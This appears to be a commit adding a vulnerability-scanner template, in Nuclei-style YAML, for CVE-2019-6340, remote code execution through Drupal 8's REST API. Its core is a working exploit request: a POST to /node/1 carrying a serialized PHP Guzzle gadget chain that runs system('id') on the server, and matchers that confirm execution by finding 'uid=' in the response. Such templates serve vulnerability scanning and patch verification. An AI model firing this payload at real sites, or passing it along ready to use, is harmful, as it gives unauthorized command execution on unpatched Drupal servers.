Create CVE-2019-6340.yaml

cves/CVE-2019-6340.yaml

@@ -0,0 +1,37 @@
+id: cve-2019-6340
+
+info:
+  name: DRUPAL8'S REST RCE
+  auhtor: madrobot
+  severity: critical
+  description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases. A site is only affected by this if one of the following conditions is met: The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH or POST requests, or the site has another web services module enabled, like JSON:API in Drupal 8, or Services or RESTful Web Services in Drupal 7. (Note: The Drupal 7 Services module itself does not require an update at this time, but you should apply other contributed updates associated with this advisory if Services is in use.)
+ # reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/node/1?_format=hal_json'
+
+    body: '{
+  "link": [
+    {
+      "value": "link",
+      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+    }
+  ],
+  "_links": {
+    "type": {
+      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
+    }
+  }
+}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "uid="
+        part: body
+      - type: status
+        status:
+          - 200